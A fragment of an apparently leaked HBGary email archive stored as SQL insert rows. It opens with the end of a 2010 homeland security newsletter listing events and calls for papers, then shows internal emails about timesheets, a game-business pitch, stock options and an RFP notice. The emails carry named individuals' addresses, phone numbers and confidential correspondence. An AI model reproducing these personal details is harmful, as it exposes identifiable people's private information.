exercise by local fire departments. View class website &lt;http://www.transcaer.com/events.aspx&gt;\r\n\r\n\r\nRailroad Emergency Response &amp; Hazmat\r\nAwareness (October 9, Laurel, MT; October 12, Livingston, MT; October 14-16,\r\nHelena, MT) The class will focus on communication, safety, and resources for\r\nrail emergencies. View class website &lt;http://www.transcaer.com/events.aspx&gt;\r\n\r\n\r\nHotzone 2010 (October 14-17; Houston) This\r\nevent sponsored by the Environmental Protection Agency and the Federal\r\nEmergency Management Agency for federal region 6 will train and equip local,\r\nstate, and federal responders for safe, coordinated, and efficient response to\r\nreleases of hazardous materials that threaten public health\r\n&lt;&lt;image016.gif&gt;&gt; and the environment. View event website &lt;http://www.hotzone.org/hotzone/default.htm&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\nNew Upcoming Events \r\n\r\n(Events are listed for four weeks; after\r\nthat, they are still on the Upcoming Events &lt;http://www.homelandsecurity.org/bulletin/upcoming_events.htm&gt;&nbsp;\r\npage)\r\n\r\nNIST&#8217;s Role in Public Safety Communications\r\n(August 31; Washington, DC) The National Institute of Standards and Technology\r\nwill present Dereck Orr, Program Manager for Public Safety Communications in\r\nNIST&#8217;s Office of Law Enforcement Standards, to discuss the institute&#8217;s role in\r\nimproving public safety communications. View event website &lt;http://www.fcc.gov/pshs/event-registration.html&gt;\r\n\r\n\r\nhttp://www.homelandsecurity.org/bulletin/images/MidSo_Fire_EMS_Expo_halfsize.gif\r\n&lt;http://kellysimontradeshows.com/midsouth/geninfo.html&gt;\r\n\r\n\r\n(September 9-10; Memphis, TN) This expo\r\nbrings together over 100 companies to showcase thousands of products and\r\nservices at one large public safety event. View event website &lt;http://kellysimontradeshows.com/midsouth/geninfo.html&gt;&nbsp;\r\n\r\n\r\nSecurity Leadership: Reducing Costs Without\r\nSacrificing Value (September 14; Washington, DC) This session will bring\r\ntogether senior experts in the security industry to share new concepts, best\r\npractices, and emerging trends highlighting effective strategies for reducing\r\nthe costs of security without sacrificing effectiveness. The keynote talk will\r\nbe by Governor Tom Ridge, the first Secretary of Homeland Security. Panelists\r\ninclude Bob Stephan, former Assistant Secretary of Homeland Security for\r\nInfrastructure Protection, and Tracy Henke, former Assistant Secretary for the\r\nHomeland Security Department&#8217;s Office of Grants and Training. View even\r\n&lt;&lt;image017.jpg&gt;&gt; t website &lt;http://www.watermarkinstitute.com/SEMINAR-EVENTS/seminar-events.html&gt;\r\n\r\n\r\nSan Diego Regional Security Conference\r\n(September 14-15) This conference will focus on command, control,\r\ncommunications, computers, and intelligence, surveillance, and reconnaissance;\r\ncybersecurity; robots; secure communications; and sensors. Topics will include\r\ninformation assurance and the relationship to cybersecurity; identity\r\nmanagement; data integrity; intrusi &lt;&lt;image018.jpg&gt;&gt; on detection\r\nand prevention; security testing and audit technologies; ensuring and fusing\r\nsecure data at the level of command, control, communications, and computers;\r\ncyber-secure robotics; and promoting global security. View event website &lt;http://thesecuritynetwork.org/events/the-3rd-annual-c4isr/&gt;\r\n\r\n\r\nhttp://www.homelandsecurity.org/bulletin/images/TransSec10_halfsize.jpg\r\n&lt;http://www.transec.com/&gt; \r\n\r\n(September 14-15; London) This event brings\r\ntogether key stakeholders and industry leaders from aviation, the maritime\r\nindustry, and the supply &lt;&lt;image019.gif&gt;&gt; chain and features an\r\nexhibition, conferences, workshops, and networking receptions to review the\r\nlatest information on current and future threats, debate best practices, gauge\r\nindustry opinion, and review the latest technologies. View event website &lt;http://www.transec.com/&gt;&nbsp; \r\n\r\nhttp://www.homelandsecurity.org/bulletin/images/biometric_consortium_10_logo.jpg\r\n&lt;http://www.biometricconference.com/&gt;\r\n\r\n\r\nBiometric Consortium Conference (September\r\n21-23; Tampa, FL) The conference focuses on biometric technologies for defense,\r\nhomeland security, identity management, border crossing, and electronic\r\ncommerce, with presentations, seminars, and panel discussions featuring\r\ninternationally recognized experts in biometric technologies, system and\r\napplication develop &lt;&lt;image020.jpg&gt;&gt; ers, information technology\r\nbusiness strategists, and government and commercial officers. View event\r\nwebsite &lt;http://www.biometricconference.com&gt;&nbsp;\r\n\r\n\r\nhttp://www.homelandsecurity.org/bulletin/images/TIEMS_bw_qtrsize.gif\r\n&lt;http://www.tiems.org/&gt; \r\n\r\nWorkshop TIEMS (September 28-29; Split,\r\nCroatia) The theme of this workshop of the International Emergency Management\r\nSociety is &#8220;Operating Amid Chaos&#8212;Standard Operating Procedure and Post Disaster\r\nRecovery.&#8221; View event website &lt;http://www.tiems.org/images/stories/tiems%202010%202nd%20call%20for%20workshop%20in%20croatia.pdf&gt;&nbsp;\r\n\r\n\r\nPittsburgh FireRescue &amp; EMS Expo +\r\nPennsylvania Law Enforcement Expo (October 2-3; Pittsburgh) This year the trade\r\nshow for firefighters, paramedics, emergency medical technicians, and other\r\nemergency services personnel combines with the law enforcement expo to provide\r\none large public safety show with hundreds of companies exhibiting. View event\r\nwebsite &lt;http://kellysimontradeshows.com/geninfo.html&gt;\r\n\r\n\r\nhttp://www.homelandsecurity.org/bulletin/images/border_mgt_summit_2010.jpg\r\n&lt;http://www.bordermanagementsummit.com/Event.aspx?id=332720&gt;\r\n\r\n\r\nBorder Management Summit (October 25-27;\r\nArlington, VA) The summit brings together thought leaders and policy makers\r\nacross local, state, and federal law enforcement; the Homeland Security Department;\r\nand international government organizations as a forum to discuss current and\r\nfuture border security initiatives. Three tracks focus on policy, procedure,\r\nand technology. View event website &lt;http://www.bordermanagementsummit.com/Event.aspx?id=332720&gt;&nbsp;\r\n\r\n\r\nSoutheast Counter-Terrorism and Emergency\r\nResponse Conference and Expo (November 16-18; Charlotte, NC) This conference\r\nfor senior counter-terrorism personnel, emergency management and disaster\r\nresponse personnel, and first responders will cover regionally relevant and\r\ntimely topics on counter-terrorism measures, threat assessment, crisis\r\ntraining, trends in terrorism threats, methodology for tracking, medical center\r\npreparedness, and more. It will provide information on current terrorist\r\nthreats, current mitigation and prevention systems, and plans and information\r\non how best to prepare. An expo hall will showcase counter-terrorism equipment,\r\ntraining, communication equipment, emergency and temporary housing, emergency\r\nvehicles, weapons, tactical equipment, protective clothing, medical emergency\r\nequipment, and more. View event we &lt;&lt;image021.gif&gt;&gt; bsite &lt;http://defensetradeshows.com/southeast-counter-terrorism-and-emergency-response-conference-and-expo/&gt;\r\n\r\n\r\nModeling for Public Health Action: From\r\nEpidemiology to Operations (December 9-10; Atlanta) This conference will\r\npromote the exchange of information and ideas about modeling uses to shape\r\npublic health action. It is intended for public health practitioners and policy\r\nmakers in state and local health departments; state and local health policy\r\nmakers; scientists and modelers working at the Centers for Disease Control and\r\ntheir federal partners in public health; academic researchers; nongovernment\r\norganizations; and international practitioners, modelers, and policy makers.\r\nThe conference will discuss effective and practical modeling applications to\r\npublic health; provide sessions, training, and networking opportunities;\r\naddress issues and opportunities in public health modeling; and foster interest\r\nin applying analytical tools for public health policy and operational decision\r\nmaking. View event website &lt;http://www.phmodeling2010conference.com&gt;\r\n\r\n\r\nhttp://www.homelandsecurity.org/bulletin/images/5thBorderSecExpo_halfsize.gif\r\n&lt;http://www.bordersecurityexpo.com/index.html&gt;\r\n\r\n\r\n5th Annual Border Security Expo (February\r\n15-16; Phoenix) The largest conference and exhibition in the United States on\r\nborder security will cover political, regulatory, operational, and tactical\r\nissues; the new state immigration laws; drug cartels; kidnapping and ransom;\r\ngangs of the Southwest; border violence; money laundering; guns going over the\r\nborder; and new border security technology. In addition, there will be some\r\nclosed-door sessions for law enforcement. Over 100 exhibitors will present the\r\nlatest technology, products, and services. View event website &lt;http://www.bordersecurityexpo.com/index.html&gt;&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCalls for Papers \r\n\r\n(Calls for papers are listed for four weeks;\r\nafter that, they are still on the Calls for Papers &lt;http://www.homelandsecurity.org/bulletin/Calls4papers.htm&gt;&nbsp;\r\npage)\r\n\r\nModeling for Public Health Action: From\r\nEpidemiology to Operations (December 9-10; Atlanta) The Centers for Disease\r\nControl Preparedness Modeling Unit invites abstracts for 20-minute conference\r\npresentations that illustrate the application of modeling to plan, implement,\r\nor evaluate public health action. Preference will be given to presentations\r\nthat (1) illustrate the use of modeling to guide public health policy, program\r\ndevelopment, economic, or resource allocation decisions or (2) describe\r\nuser-friendly model interfaces that permit non-modelers to use the models\r\neffectively. The perspectives of policy and decision makers, as well as those\r\nof model developers and analysts, are welcome. International modelers are\r\nencouraged to participate. The abstract submission deadline is September 15.\r\nView call for papers &lt;http://www.phmodeling2010conference.com/call4papers.html&gt;\r\n\r\n\r\nhttp://www.homelandsecurity.org/bulletin/images/TIEMS_bw_qtrsize.gif\r\n&lt;http://www.tiems.org/&gt; \r\n\r\nTIEMS Conference (June 7-10, 2011; Bucharest,\r\nRomania) This annual conference of the International Emergency Management\r\nSociety is seeking presentations on topics such as risk assessment professional\r\n&lt;&lt;image022.jpg&gt;&gt; practice, critical infrastructure protection,\r\nnatural disaster and response, accident calamity and response, health\r\nemergencies and response, terrorism and security, geographic information\r\nsystems in emergency management, global cooperation in emergency management,\r\ninformation and communication technologies, psychological aspects of disasters,\r\ntraining and education, and case studies. Abstracts are due by November 1. View\r\ncall for papers &lt;http://www.tiems.org/images/ &lt;&lt;image023.gif&gt;&gt;\r\nstories/tiems%202011%20flyer.pdf&gt;&nbsp; \r\n\r\nhttp://www.homelandsecurity.org/bulletin/images/TIEMS_bw_qtrsize.gif\r\n&lt;http://www.tiems.org/&gt; \r\n\r\nWorkshop TIEMS (June 22-23, 2011; Alès,\r\nFrance) This workshop organized by the International Emergency Management\r\nSociety will have a special focus on risk management as a tool for emergency\r\nand disaster management, climate change and emergency and disaster management,\r\nemergency and disaster management in the energy sector, information and\r\ncommunication technology in emergency and disaster management,\r\nearthquake-related emergency and disaster management, and forest fires and bush\r\nfires emergency and disaster management. Abstracts are due by November 15. View\r\ncall for papers &lt;http://www.tiems.org/images/stories/tiems%202011%20workshop%20in%20ales%20first%20call%20view%20vesrion.pdf&gt;&nbsp;\r\n\r\n\r\nhttp://www.homelandsecurity.org/bulletin/images/ASIS_logo.jpg\r\n&lt;http://www.asisonline.org/&gt; \r\n\r\nASIS International Asia-Pacific Conference\r\n(December 5-7, 2011; Kuala Lumpur, Malaysia) Abstracts on all security-related\r\ntopics are welcome. Particular topics of interest include supply chain\r\nsecurity, maritime piracy, and terrorism. The deadline for submitting\r\npresentations is April 22, 2011. View call for papers &lt;http://asis.confex.com/asis/inter2011/cfp.cgi&gt;&nbsp;\r\n\r\n\r\nAugust 27, 2010 \r\n\r\nServing the public since July 7, 2000 \r\n\r\nContents \r\n\r\nhttp://www.homelandsecurity.org/bulletin/images/blue_box_3.gif\r\n\r\n\r\nPrivate-Sector News &lt;http://www.homelandsecurity.org/bulletin/100827.htm#privatesector&gt;\r\n\r\n\r\nhttp://www.homelandsecurity.org/bulletin/images/blue_box_3.gif\r\n\r\n\r\nState and Local News &lt;http://www.homelandsecurity.org/bulletin/100827.htm#StateLocal&gt;\r\n\r\n\r\n&nbsp; \r\n&lt;&lt;image024.gif&gt;&gt; \r\n\r\n5 more states complete disaster planning for\r\nchildren \r\n\r\nhttp://www.homelandsecurity.org/bulletin/images/blue_box_3.gif\r\n\r\n\r\nNew in the Journal &lt;http://www.homelandsecurity.org/bulletin/100827.htm#newjournal&gt;\r\n\r\n\r\n&nbsp; \r\n\r\nTwo new book reviews \r\n\r\nhttp://www.homelandsecurity.org/bulletin/images/blue_box_3.gif\r\n\r\n\r\nDHS News &lt;http://www.homelandsecurity.org/bulletin/100827.htm#DHSnews&gt;\r\n\r\n\r\n&nbsp; \r\n\r\nTSA begins &#8216;enhanced patdowns&#8217; \r\n\r\nhttp://www.homelandsecurity.org/bulletin/images/blue_box_3.gif\r\n\r\n\r\nOther Federal News &lt;http://www.homelandsecurity.org/bulletin/100827.htm#Federal&gt;\r\n\r\n\r\nhttp://www.homelandsecurity.org/bulletin/images/blue_box_3.gif\r\n\r\n\r\nInternational News &lt;http://www.homelandsecurity.org/bulletin/100827.htm#internationalnews&gt;\r\n\r\n\r\n&nbsp; \r\n\r\nIlliteracy is high in Afghan security forces \r\n\r\nhttp://www.homelandsecurity.org/bulletin/images/blue_box_3.gif\r\n\r\n\r\nUnited Nations News &lt;http://www.homelandsecurity.org/bulletin/100827.htm#UN&gt;\r\n\r\n\r\nhttp://www.homelandsecurity.org/bulletin/images/blue_box_3.gif\r\n\r\n\r\nNational News &lt;http://www.homelandsecurity.org/bulletin/100827.htm#nationalnews&gt;\r\n\r\n\r\n&nbsp; \r\n\r\nCIA says U.S. exports terrorists \r\n\r\nhttp://www.homelandsecurity.org/bulletin/images/blue_box_3.gif\r\n\r\n\r\nDual Benefit &lt;http://www.homelandsecurity.org/bulletin/100827.htm#DualBenefit&gt;\r\n\r\n\r\n&nbsp; \r\n\r\nBuilt-in security protects building occupants\r\n\r\n\r\nhttp://www.homelandsecurity.org/bulletin/images/blue_box_3.gif\r\n\r\n\r\nEducation &amp; Training &lt;http://www.homelandsecurity.org/bulletin/100827.htm#education&gt;\r\n\r\n\r\nhttp://www.homelandsecurity.org/bulletin/images/blue_box_3.gif\r\n\r\n\r\nNew Upcoming Events &lt;http://www.homelandsecurity.org/bulletin/100827.htm#upcomingevent&gt;\r\n\r\n\r\nhttp://www.homelandsecurity.org/bulletin/images/blue_box_3.gif\r\n\r\n\r\nCalls for Papers &lt;http://www.homelandsecurity.org/bulletin/100827.htm#papers&gt;\r\n\r\n\r\nhttp://www.homelandsecurity.org/bulletin/images/blue_box_3.gif\r\n\r\n\r\nWebsite of the Week &lt;http://www.homelandsecurity.org/bulletin/100827.htm#site&gt;\r\n\r\n\r\n&nbsp; \r\n\r\nKatrina rumors \r\n\r\nhttp://www.homelandsecurity.org/bulletin/images/blue_box_3.gif\r\n\r\n\r\nQuote of the Week &lt;http://www.homelandsecurity.org/bulletin/100827.htm#quote&gt;\r\n\r\n\r\n&nbsp; \r\n\r\nInsurgencies can be hard to kill \r\n\r\nhttp://www.homelandsecurity.org/bulletin/images/blue_box_3.gif\r\n\r\n\r\nStatistics of the Week\r\n&lt;&lt;image025.gif&gt;&gt;\r\n&lt;http://www.homelandsecurity.org/bulletin/100827.htm#stat\r\n&lt;&lt;image026.gif&gt;&gt; &gt; \r\n\r\n&nbsp; \r\n\r\nCaught by Secure Communities \r\n\r\nWebsite of the Week \r\n\r\nh &lt;&lt;image006.png&gt;&gt;\r\nttp://www.homelandsecurity.org/bulletin/images/snopes_white_background.gif &lt;http://www.snopes.com/katrina/katrina.asp&gt;\r\n\r\n\r\nSnopes&#8217; Hurricane Katrina page &lt;http://www.snopes.com/katrina/katrina.asp&gt;\r\n\r\n\r\nHurricane Katrina slammed into the Louisiana\r\ncoast five years ago August 29, followed by a storm of rumors and urban\r\nlegends. Snopes &lt;http://www.snopes.com/&gt;\r\n, the premier hoaxbusting website, has a page devoted to the rumors&#8212;true,\r\nfalse, or in between. Did a speed camera record a car going 133 mph, propelled\r\nby hurricane winds? Did evacuees in Utah bring guns and drugs and continue\r\ntheir life of crime in a new state? Did National Geographic predict a\r\ndisastrous hurricane for New Orleans?\r\n\r\nQuote of the Week \r\n\r\nInsurgencies Can Be Hard to Kill &lt;http://www.wired.com/dangerroom/2010/08/petraeus-interview/&gt;\r\n\r\n\r\n&#8220;You cannot kill or capture your way out of a\r\nsubstantial insurgency.&#8221; \r\n\r\nGeneral David Petraeus \r\nCommander of U.S. forces in Afghanistan \r\n&#8220;David Petraeus: The Danger Room Interview &lt;http://www.wired.com/dangerroom/2010/08/petraeus-interview/&gt;\r\n&#8221; \r\n&nbsp;Wired \r\nAugust 18 \r\n\r\nStatistics of the Week \r\n\r\nCaught by Secure Communities &lt;http://www.nytimes.com/2010/08/18/opinion/18wed3.html&gt;\r\n\r\n\r\n&#8220;Secure Communities, an immigration\r\nenforcement program &#8230; [see the Aug. 13 newsletter &lt;http://www.homelandsecurity.org/bulletin/100813.htm#StateLocal&gt;\r\n] is billed as an effort to catch and deport &#8216;the worst of the worst,&#8217; the\r\nviolent criminals, drug and gun smugglers, gang members and other dangerous\r\naliens,&#8221; according to the New York Times. However, says the Times, Immigration\r\nand Customs Enforcement records from October 2008 through June 2010 tell a\r\ndifferent story:\r\n\r\n*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;47,000\r\npeople [were] deported in that period&#8221; under the Secure Communities program\r\n\r\n*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 79% &#8220;had\r\nno criminal records or had been picked up for low-level offenses&#8221; \r\n*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; About 20%\r\n&#8220;had been charged with or convicted of serious &#8216;Level 1&#8217; crimes, like assault\r\nand drug dealing&#8221; \r\n*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;The Obama\r\nadministration has deployed Secure Communities in 544 jurisdictions in 27\r\nstates&#8221; \r\n\r\nNewsletter Submissions \r\n\r\nWhen submitting news or events, include a\r\nworking hyperlink to a full press release or a web page with information.\r\nPlease submit press releases, events, and educational programs by noon\r\nWednesdays for consideration as items in that week&#8217;s newsletter.\r\n\r\nSubscriptions \r\n\r\nhttp://www.homelandsecurity.org/bulletin/test/subscribe.gif\r\n&lt;http://www.homelandsecurity.org/newsletterSignup.asp&gt;\r\n\r\nhttp://www.homelandsecurity.org/bulletin/test/unsubscribe.gif\r\n&lt;http://www.homelandsecurity.org/newsletterSignup.asp&gt;\r\n\r\n\r\nLinks \r\n\r\nhttp://www.homelandsecurity.org/bulletin/blue_box_1.gif\r\n&lt;http://www.homelandsecurity.org/&gt;\r\n\r\n\r\nInstitute Homepage &lt;http://www.homelandsecurity.org&gt; \r\n\r\nhttp://www.homelandsecurity.org/bulletin/blue_box_1.gif\r\n&lt;http://www.anser.org/&gt; \r\n\r\nAnalytic Services Inc. &lt;http://www.anser.org/&gt; \r\n\r\nhttp://www.homelandsecurity.org/bulletin/blue_box_1.gif\r\n&lt;http://www.homelandsecurity.org/NewsletterArchives.aspx&gt;\r\n\r\n\r\nNewsletter Archives &lt;http://www.homelandsecurity.org/NewsletterArchives.aspx&gt;\r\n\r\n\r\nhttp://www.homelandsecurity.org/bulletin/blue_box_1.gif\r\n&lt;http://www.homelandsecurity.org/journal/Default.aspx&gt;\r\n\r\n\r\nJournal Homepage &lt;http://www.homelandsecurity.org/journal/Default.aspx&gt;\r\n\r\n\r\nhttp://www.homelandsecurity.org/bulletin/blue_box_1.gif\r\n&lt;http://www.homelandsecurity.org/bulletin/upcoming_events.htm&gt;\r\n\r\n\r\nUpcoming Events &lt;http://www.homelandsecurity.org/bulletin/upcoming_events.htm&gt;\r\n\r\n\r\nhttp://www.homelandsecurity.org/bulletin/blue_box_1.gif\r\n&lt;http://www.homelandsecurity.org/bulletin/Calls4papers.htm&gt;\r\n\r\n\r\nCalls for Papers &lt;http://www.homelandsecurity.org/bulletin/Calls4papers.htm&gt;\r\n\r\n\r\nhttp://www.homelandsecurity.org/bulletin/blue_box_1.gif\r\n&lt;http://www.homelandsecurity.org/bulletin/Focus_archive.htm&gt;\r\n\r\n\r\nFocus Archive &lt;http://www.homelandsecurity.org/bulletin/Focus_archive.htm&gt;\r\n\r\n\r\nhttp://www.homelandsecurity.org/bulletin/blue_box_1.gif\r\n&lt;http://www.homelandsecurity.org/bulletin/States_archive.htm&gt;\r\n\r\n\r\nState Site Archive &lt;http://www.homelandsecurity.org/bulletin/States_archive.htm&gt;\r\n\r\n\r\nhttp://www.homelandsecurity.org/bulletin/blue_box_1.gif\r\n&lt;http://www.homelandsecurity.org/bulletin/Dual%20Benefit/DualBenefit_current.htm&gt;\r\n\r\n\r\nDual-Benefit Archive &lt;http://www.homelandsecurity.org/bulletin/Dual%20Benefit/DualBenefit_current.htm&gt;\r\n\r\n\r\nhttp://www.homelandsecurity.org/bulletin/blue_box_1.gif\r\n&lt;http://www.homelandsecurity.org/Content.aspx?mid=278&gt;\r\n\r\n\r\nInstitute Reports &lt;http://www.homelandsecurity.org/Content.aspx?mid=278&gt;\r\n\r\n\r\nhttp://www.homelandsecurity.org/bulletin/blue_box_1.gif\r\n&lt;mailto:homelandsecurity@hsi.dhs.gov&gt;\r\n\r\n\r\nContact Us &lt;mailto:homelandsecurity@hsi.dhs.gov&gt;\r\n\r\n\r\nWrite for the Journal of Homeland Security \r\n\r\nThe journal publishes articles, commentaries,\r\nbook reviews, and interviews. See the manuscript submission guidelines &lt;http://www.homelandsecurity.org/journal/AboutJournal.aspx&gt;\r\n.\r\n\r\nDuplicate and Delayed Newsletters \r\n\r\nIf you receive the newsletter late or receive\r\nmore than one copy at one email address, please let us know by sending an email\r\nto Homelandsecurity@hsi.dhs.gov.\r\n\r\nNews Site Registrations \r\n\r\nNote: Many news sites require free one-time\r\nregistration. We wish we could avoid this inconvenience to readers who want to\r\nsee the full articles&#8212;we do not intentionally link to any that require a paid\r\nsubscription.\r\n\r\nNewsletter Displaying Poorly? \r\n\r\nIf the newsletter does not look right in your\r\nemail, try viewing it in the newsletter archives &lt;http://www.homelandsecurity.org/NewsletterArchives.aspx&gt;\r\n. Most email programs are not as versatile as web browsers when displaying web\r\ndocuments. If the newsletter displays better in the archives, you may want to\r\nsubscribe to the weekly plain text announcement with a link to the current\r\nissue rather than receive the entire newsletter in your email.\r\n\r\nHOMELAND SECURITY STUDIES AND ANALYSIS INSTITUTE\r\n\r\n\r\nThe Weekly Homeland Security Newsletter\r\n\r\n\r\nSend questions and comments to \r\nEditor-in-Chief \r\nAlan Capps &lt;mailto:alan.capps@hsi.dhs.gov&gt; \r\n\r\nAssistant Editors: \r\nSteve Dunham \r\nNoëlle MacKenzie \r\n\r\nCopyright 2010. The Weekly Homeland Security\r\nNewsletter, Analytic Services Inc. All rights reserved. \r\n\r\nView Analytic Services Inc. DMCA Copyright\r\nNotice &lt;http://www.homelandsecurity.org/bulletin/Draft_ANSER_DCMA_Copyright_Notice.htm&gt;\r\n\r\n\r\nIn accordance with Title 17 (USC), Section\r\n107, this material is distributed without profit or payment and is intended for\r\nnonprofit research and educational purposes only.\r\n\r\nPRIVACY POLICY \r\n\r\nContent provided in the Weekly Homeland\r\nSecurity Newsletter does not reflect the viewpoint(s) of Analytic Services Inc.\r\nor the HOMELAND SECURITY STUDIES AND ANALYSIS INSTITUTE. Neither Analytic\r\nServices Inc. nor the HOMELAND SECURITY STUDIES AND ANALYSIS INSTITUTE shares,\r\npublishes, or in any way redistributes subscriber email addresses or any other\r\npersonal information.\r\n\r\n&nbsp; \r\n\r\n\r\n\r\n\r\n\r\n\r\n',14849,'aaron_hbgary_com/14849.html'),(11038,'2010-08-30','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008458.M425515P14101Q5893.eml','adbarr@mac.com','','',13004,'aaron_hbgary_com/13004.html'),(11039,'2010-08-30','\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>','/aaron@hbgary.com/new/1297008463.M461369P14101Q5894.eml','\"Inc. HBGARY\" <All@hbgary.com>','Please update your hours in QB','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nSome of you are a bit behind. \r\n\r\n&nbsp;\r\n\r\nThanks\r\n\r\n&nbsp;\r\n\r\nDeeAnn Buonaccorsi\r\n\r\nOffice\r\nManager\r\n\r\nHBGary,\r\nInc.\r\n\r\n3604\r\nFair Oaks Blvd.&nbsp; Suite 250\r\n\r\nSacramento,\r\nCA&nbsp; 95864\r\n\r\nTel:&nbsp;\r\n916-459-4727 ext. 101\r\n\r\nFax:\r\n916-481-1460\r\n\r\nEmail&nbsp;\r\ndeeann@hbgary.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',7188,'aaron_hbgary_com/7188.html'),(11040,'2010-08-30','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008463.M922600P14101Q5895.eml','\"Greg Hoglund\" <greg@hbgary.com>','Gaming Document','Hey Greg,\r\n\r\nI just started a gaming concept document.  Really some scattered ideas right now, working to hone down to a discrete example.  Work on it more tonight.\r\n\r\nI really think we should put this together and pitch it.  The companies in the document I linked are already hovering in the same environment.  Zynga lists itself as a company that is connecting the world through games.  We can get this funded and start working it aggressively.  Built right the concept is worth a lot.\r\n\r\nAaron\r\n\r\n',5884,'aaron_hbgary_com/5884.html'),(11041,'2010-08-30','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008464.M263394P14101Q5896.eml','\"Penny Leavy\" <penny@hbgary.com>','Stock Grant','Hi Penny,I just emailed you the forms, but I do have a question:1.  When I &quot;exercise&quot; the options am I obligated to purchase the options immediately at the quoted price?\r\n-- Ted\r\n\r\n',4112,'aaron_hbgary_com/4112.html'),(11042,'2010-08-30','\"Simpson, Patrick B\" <Patrick.Simpson@ManTech.com>','/aaron@hbgary.com/new/1297008464.M499908P14101Q5897.eml','obrienp@thebuffalogroup.com,kathyrondon@aol.com,aaron@hbgary.com,jason.syversen@siegetechnologies.com,james.berman@inceptre.com,obrienp@thebuffalogroup.com,kathyrondon@aol.com,aaron@hbgary.com,jason.syversen@siegetechnologies.com,james.berman@inceptre.com,','Gatorbait RFP - Out Today','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nTeam,\r\n\r\n&nbsp;\r\n\r\nGood afternoon.&nbsp; \r\n\r\n&nbsp;\r\n\r\nPlease be advised that the Gatorbait RFP with a due date of\r\n27 September 2010 was issued today.&nbsp; We will provide additional\r\ninformation within the next day and look forward to &nbsp;coordinating our\r\nproposal response with you.\r\n\r\n&nbsp;\r\n\r\nV/r,\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nPatrick B.\r\nSimpson, Sr. Executive Director\r\n\r\nInformation\r\nOperations Division\r\n\r\nCyber &amp;\r\nSecurity Operations Business Unit\r\n\r\n&nbsp;\r\n\r\nManTech\r\nInternational Corporation\r\n\r\nMission,\r\nCyber and Technology Solutions Group\r\n\r\nOffice\r\n703.388.2168\r\n\r\nCell\r\n703.969.8117\r\n\r\nPatrick.Simpson@Mantech.com\r\n\r\n&nbsp;\r\n\r\nMaking America Stronger by Supporting and Securing Critical Missions\r\n\r\n&nbsp;**PROPRIETARY\r\n&amp; COMPANY-CONFIDENTIAL**\r\n\r\nThis email and the contents of this email (including any\r\nattachments) are company-confidential and/or proprietary.&nbsp; Unless you are\r\nthe addressee (or authorized to receive for the addressee), you may not use,\r\ncopy, disclose or distribute this email or any of the contents of this\r\nemail.&nbsp; If you received this email in error, please promptly notify the\r\nsender by reply email and delete this email from your records.&nbsp; Thank you.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',13044,'aaron_hbgary_com/13044.html'),(11043,'2010-08-30','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297008464.M899204P14101Q5898.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','RE: DRAFTY DRAFT/Training brochure','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nIs this the final or do you have another one?&nbsp; I can have other\r\nreps take it in.&nbsp; Have you decided on how to handle the re-sale aspect?&nbsp; The\r\nrep will need to know what they will receive&nbsp; If HBGary sells it, we&#8217;ll\r\ninvoice.&nbsp; So there should be some margin.&nbsp; I think it&#8217;s probably easier if we\r\npay the commissions.&nbsp; Let me know what discount you want to give and I can\r\nfigure it out.&nbsp; Less paperwork for you\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Ted Vera\r\n[mailto:ted@hbgary.com] \r\nSent: Friday, August 06, 2010 3:40 PM\r\nTo: Penny Leavy\r\nSubject: DRAFTY DRAFT\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nTraining Brochure&nbsp;\r\n\r\n-- \r\nTed Vera &nbsp;| &nbsp;President &nbsp;| &nbsp;HBGary Federal\r\nOffice 916-459-4727x118 &nbsp;| Mobile 719-237-8623\r\nwww.hbgary.com &nbsp;|\r\n&nbsp;ted@hbgary.com\r\n\r\n\r\n\r\n\r\n\r\n\r\n',7975,'aaron_hbgary_com/7975.html'),(11044,'2010-08-30','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297008465.M124681P14101Q5899.eml','\"Aaron Barr\" <aaron@hbgary.com>,bob@hbgary.com','Fwd: Jim, regarding game company',' \r\nmy thoughts on it\r\n---------- Forwarded message ----------From: Greg Hoglund &lt;greg@hbgary.com&gt;Date: Mon, Aug 30, 2010 at 12:41 PM\r\nSubject: Re: Jim, regarding game companyTo: Jim Moore &lt;jim@jmoorepartners.com&gt;\r\n\r\n\r\n\r\n\r\n\r\n \r\nI would recommend using your own money/friends and family for this stage so that you do not have to dilute your ownership.  All of VC land is focused on casual/social games and they are looking for plays where they can invest $100-500K in a 2 ½D flash-based game and start driving over $1M/month in micro transactions.  The model is free game up front so as to keep the friction down on adoption and get people to adopt in mass.  Tencent now has over 500M registered \r\n\r\n \r\nFree to play only makes sense if it can be tied to an existing social network - for example, sponsored via Facebook, etc.  In terms of so-called MMO games, the free-to-play games are considered low quality, and item-mall based games are especially bad in this regard.  I would bet that Nexon &amp; Tencent have an edge related to marketing through existing social networks - I will check them out.  $34B sounds like an super inflated value, considering I have analyst reports putting the game market at $6B this year.  I agree that mobile platforms are the way to go.\r\n\r\n\r\n \r\n\r\n\r\n\r\nWhat is difficult for investors is the hit-based aspect of the bigger games—they do not want to 